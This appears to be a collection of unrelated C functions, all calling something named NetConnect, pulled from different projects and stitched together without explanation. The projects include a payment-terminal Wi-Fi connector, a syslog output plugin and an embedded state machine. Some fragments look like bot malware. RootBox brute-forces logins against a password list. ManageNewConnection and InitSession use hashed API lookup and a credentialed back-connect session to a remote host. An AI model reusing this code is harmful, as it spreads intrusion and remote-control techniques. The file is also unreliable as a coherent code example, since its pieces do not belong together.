void ManageNewConnection( SOCKET Socket, ULONG uIP, USHORT uCid, USHORT uPort)
{
pWaitForSingleObject( hThreadMutex, INFINITE );
if ( dwConnections < MAX_CONN )
{
Connections[ dwConnections ].thread_s = INVALID_SOCKET;
Connections[ dwConnections ].s = Socket;
Connections[ dwConnections ].ip = uIP;
Connections[ dwConnections ].port = uPort;
Connections[ dwConnections ].cid = uCid;
Connections[ dwConnections ].bid = (USHORT)dwBid + 1;
in_addr in;
in.S_un.S_addr = uIP;
Connections[ dwConnections ].thread_s = NetConnect( (char*)pinet_ntoa( in ), uPort );
dwBid++;
DWORD ThreadId = 0;
dwConnections++;
Connections[ dwConnections - 1 ].hThread = pCreateThread( NULL, 0, ConnectionThread, (void*)Connections[ dwConnections - 1 ].bid, 0, &ThreadId );
}
pReleaseMutex( hThreadMutex );
}
BOOL RootBox(char *szUsername, char *szServer, EXINFO exinfo)
{
int i=0;
while (passwords[i]) {
if (NetConnect(szUsername,passwords[i],szServer,exinfo) == TRUE)
return TRUE;
Sleep(200);
i++;
}
return FALSE;
}
static int SSLNetOpen(char *remote_addr, short remote_port, short local_port, long flag)
{
int iErrMsg, iRet;
NET_SOCKADDR stSocketAddr;
if(s_iSocket>= 0)
{
DebugOutput("%s--%d, s_iSocket:%d\n", __FILE__, __LINE__, s_iSocket);
return s_iSocket;
}
s_iSocket = NetSocket(NET_AF_INET, NET_SOCK_STREAM, 0);
DebugOutput("%s--%d--%s, s_iSocket:%d\n", __FILE__, __LINE__, __FUNCTION__, s_iSocket);//linzhao
if (s_iSocket < 0)
{
return s_iSocket;
}
SockAddrSet(&stSocketAddr, remote_addr, remote_port);
iErrMsg = NetConnect(s_iSocket, &stSocketAddr, sizeof(stSocketAddr));
DebugOutput("%s--%d--%s, iErrMsg:%d\n", __FILE__, __LINE__, __FUNCTION__, iErrMsg);//linzhao
if (iErrMsg < 0)
{
iRet = NetCloseSocket(s_iSocket);
DebugOutput("%s--%d, iRet;%d, s_iSocket:%d\n", __FILE__, __LINE__, iRet, s_iSocket);
//linzhao
//if (0==iRet)
// s_iSocket = -1;
switch (iErrMsg)
{
case NET_ERR_TIMEOUT:
return -ERR_SSL_TIMEOUT;
case NET_ERR_RST:
return -ERR_SSL_NET;
default:
return iErrMsg;
}
}
return s_iSocket;
}
void InitSession( char *Host, int Port, char *Uid, char *Password )
{
char Buffer[ 1024 ];
int r = 0;
SOCKET Socket = NetConnect( Host, Port );
if ( Socket != INVALID_SOCKET )
{
r = NetRecv( Socket, Buffer, 6 );
if ( r )
{
Buffer[ 6 ] = 0;
if ( !m_lstrncmp( Buffer, "HELLO\n", 6 ) )
{
typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );
_pwsprintfA( Buffer, "%s:%s\n", Uid, Password );
NetSend( Socket, Buffer, m_lstrlen( Buffer ) );
if ( NetRecv( Socket, Buffer, 6 ) )
{
Buffer[ 6 ] = 0;
if ( !m_lstrncmp( Buffer, "READY\n", 6 ) )
{
SessionWork( Socket );
}
}
}
}
pclosesocket( Socket );
}
int wifiConnect(uchar *inIp, uchar *inPort)
{
int i = 0;
int ret;
int trans_port;
int event;
int ret_num;
char sBuff[33];
ST_WIFI_AP WifiAp;
struct net_sockaddr server_addr;
for (i = 0;i < 1; i++) // change 5 to 1 by wuc 2014.9.2
{
ret = WifiCheck(&WifiAp);
if (ret < 0)
{
ret = WifiApLogin();
if (ret != 0 && i != 4)
{
continue;
}
else if (ret != 0 && i == 4)
{
return ret;
}
else
{
break;
}
}
else if (ret == 0)
{
DelayMs(500);
continue;
}
else
{
break;
}
}
trans_port = atoi(inPort);
//如果TCP仍然连接，就不用再连接
if(wnet_socket_id >= 0)
{
event = Netioctl(wnet_socket_id, CMD_EVENT_GET, 0);
if(event&(SOCK_EVENT_CONN|SOCK_EVENT_WRITE|SOCK_EVENT_READ))
{
return 0;
}
}
if(wnet_socket_id >= 0)
{
NetCloseSocket(wnet_socket_id);
wnet_socket_id = -1;
}
ret = NetSocket(NET_AF_INET, NET_SOCK_STREAM, 0);
if(ret < 0)
{
return -1;
}
wnet_socket_id = ret;
/*ret = Netioctl(wnet_socket_id, CMD_TO_SET, 30*1000);//advice from S/W department
if (ret != 0)
{
DebugOutput("ret = [%d]", ret);
return ret;
}*/
SockAddrSet(&server_addr, (char*)inIp, (short)trans_port);
ret_num = NetConnect(wnet_socket_id, &server_addr, sizeof(server_addr));
if(ret_num < 0)
{
switch (ret_num)
{
case NET_ERR_ABRT:
case NET_ERR_CONN:
case NET_ERR_IF://linzhao
strcpy(sBuff,_T("CONN FAIL"));
break;
case NET_ERR_RST:
strcpy(sBuff,_T("CONN RESET"));
break;
case NET_ERR_CLSD:
strcpy(sBuff,_T("CONN CLOSE"));
break;
case NET_ERR_RTE:
strcpy(sBuff,_T("ROUTE ERR"));
break;
case NET_ERR_ISCONN:
strcpy(sBuff,_T("CONN EXIST"));
break;
case NET_ERR_TIMEOUT:
strcpy(sBuff,_T("CONN TIMOUT"));
break;
case NET_ERR_PASSWD:
strcpy(sBuff,_T("PASSWORD ERR"));
break;
case NET_ERR_MODEM:
strcpy(sBuff,_T("PPP FAIL"));
break;
case NET_ERR_LINKDOWN:
case NET_ERR_LOGOUT:
case NET_ERR_PPP:
strcpy(sBuff,_T("RETRY PPP"));
break;
default:
strcpy(sBuff,_T("UNKNOW ERR"));
break;
}
ScrClrBelow(2);
PubDispString(sBuff, DISP_LINE_LEFT|2);
//Cielo要求去除返回码， linzhao
// sprintf(sBuff, _T("code=%d "), ret_num);
// PubDispString(sBuff, DISP_LINE_LEFT|3);
PubWaitKey(2);
NetCloseSocket(wnet_socket_id);
wnet_socket_id = -1;
return -1;
}
else
return 0;
}
int NetSend(OpSyslog_Data *op_data)
{
int sendSize = 0;
int sendRetVal = 0;
if(op_data == NULL)
{
/* XXX */
return 1;
}
if(NetTestSocket(op_data))
{
if( NetConnect(op_data))
{
FatalError("NetSend(): Failed to connect to host: [%s] %s:%u\n",
db_proto[op_data->proto],
op_data->server,
op_data->port);
}
}
sendSize=strlen(op_data->payload);
if(op_data->local_logging == 1)
{
syslog(op_data->syslog_priority,
op_data->payload);
return 0;
}
switch(op_data->proto)
{
case 0:
/* UDP */
if(sendto(op_data->socket,op_data->payload, strlen(op_data->payload), 0 , (struct sockaddr *)&op_data->sockaddr, sizeof(struct sockaddr)) <= 0)
{
/* XXX */
close(op_data->socket);
op_data->socket = -1;
return 1;
}
break;
case 1:
/* TCP */
sendRetVal = send(op_data->socket, op_data->payload, strlen(op_data->payload),0);
if((sendRetVal < sendSize) ||
(sendRetVal < 0) )
{
/* XXX */
perror("send():");
close(op_data->socket);
op_data->socket = -1;
return 1;
}
break;
default:
/* XXX */
return 1;
break;
}
return 0;
}
/*
* init the output plugin, process any arguments, link the functions to
* the output functional node
*/
void OpSyslog_Init(char *args)
{
OpSyslog_Data *syslogContext;
if( args == NULL)
{
/* For later use...
ErrorMessage("OpSyslog_Init(): Invoked with NULL arguments....\n");
return 1;
*/
FatalError("OpSyslog_Init(): Invoked with NULL arguments....\n");
}
if( (syslogContext = OpSyslog_ParseArgs(args)) == NULL)
{
FatalError("OpSyslog_Init(): Error parsing output plugin arguments, bailing.\n");
}
AddFuncToCleanExitList(OpSyslog_Exit,(void *)syslogContext);
AddFuncToShutdownList(OpSyslog_Exit,(void *)syslogContext);
switch(SyslogLogContext)
{
case OUTPUT_TYPE_FLAG__LOG:
switch(syslogContext->operation_mode)
{
case 1:
AddFuncToOutputList(OpSyslog_Log, OUTPUT_TYPE__LOG, (void *)syslogContext);
break;
case 0:
default:
LogMessage("[%s()]: OUTPUT_TYPE__LOG was selected but operation_mode is set to \"default\", using defaut logging hook \n",
__FUNCTION__);
AddFuncToOutputList(OpSyslog_Alert, OUTPUT_TYPE__ALERT, (void *)syslogContext);
break;
}
case OUTPUT_TYPE_FLAG__ALERT:
AddFuncToOutputList(OpSyslog_Alert, OUTPUT_TYPE__ALERT, (void *)syslogContext);
break;
default:
FatalError("OpSyslog_Init(): Unknown operation mode...\n");
break;
}
/* Since we are in init phase */
syslogContext->socket = -1;
if(NetConnect(syslogContext))
{
FatalError("OpSyslog_Init(): Failed to connect to host: [%s] %s:%u\n",
db_proto[syslogContext->proto],
syslogContext->server,
syslogContext->port);
return;
}
if( (syslogContext->payload = malloc(SYSLOG_MAX_QUERY_SIZE)) == NULL)
{
FatalError("OpSyslog_Init(): Can't allocate payload memory, bailling \n");
}
memset(syslogContext->payload,'\0',(SYSLOG_MAX_QUERY_SIZE));
if( (syslogContext->formatBuffer = malloc(SYSLOG_MAX_QUERY_SIZE)) == NULL)
{
FatalError("OpSyslog_Init(): Can't allocate payload memory, bailling \n");
}
memset(syslogContext->formatBuffer,'\0',(SYSLOG_MAX_QUERY_SIZE));
OpSyslog_LogConfig(syslogContext);
return;
}
//=============================================================================================
//说明:状态机函数，负责主模块各个工作状态下的运作
//参数:
//=============================================================================================
void SysRun(void)
{
switch(WorkSta1){
case(STA_NETCONNECT): //组网退网阶段
if(STA_NETCONNECT != WorkStaPre1){
NetConnect(TRUE); //设置为组网模式
StartTimeMs1 = ReadRunTime();
}
/* else {
EndTimeMs1 = ReadRunTime();
if( NETCNT_TIMEOUT < CheckTimeInterval(StartTimeMs1 , EndTimeMs1)){ //组网超时
NetConnect(FALSE); //退出组网模式
WorkSta1 = STA_STANDBY; //进入待机状态
}
}*/
break;
case(STA_SYNCHRONIZE): //同步阶段
// if(STA_SYNCHRONIZE != WorkStaPre1){
// Synchronize(); //同步命令，包含时钟信息，
// }
break;
case(STA_BROADCAST): //广播阶段，向需要控制的从模块发送命令
// Broadcast(); //向各从模块发送控制命令
DataSend();
WorkSta1 = STA_STANDBY;
break;
case(STA_P2P): //大量数据点对点传输
break;
case(STA_SLEEP): //休眠模式
break;
case(STA_STANDBY): //待机状态
WorkStaPre1 = STA_STANDBY;
break;
default:
break;
}
switch(WorkSta2){
case(STA_DATA): //维持心跳包及普通数据采集阶段
// DataReceive();
/* if(STA_DATA != WorkStaPre2){
// SetSPI1_RXMode(RX_P0_24L01,MOD1_RXADR); //设置为自身的地址
DataReceive();
WorkStaPre2 = STA_DATA;
StartTimeMs3 = ReadRunTime();
}
else{
EndTimeMs3 = ReadRunTime();
if( DATARECEIVE_SPAN < CheckTimeInterval(StartTimeMs3 , EndTimeMs3)){ //组网超时
WorkSta2 = STA_STANDBY;
}
} */
break;
case(STA_STANDBY): //维持心跳包及普通数据采集阶段
break;
case(STA_SLEEP): //休眠模式
break;
default:
break;
}
}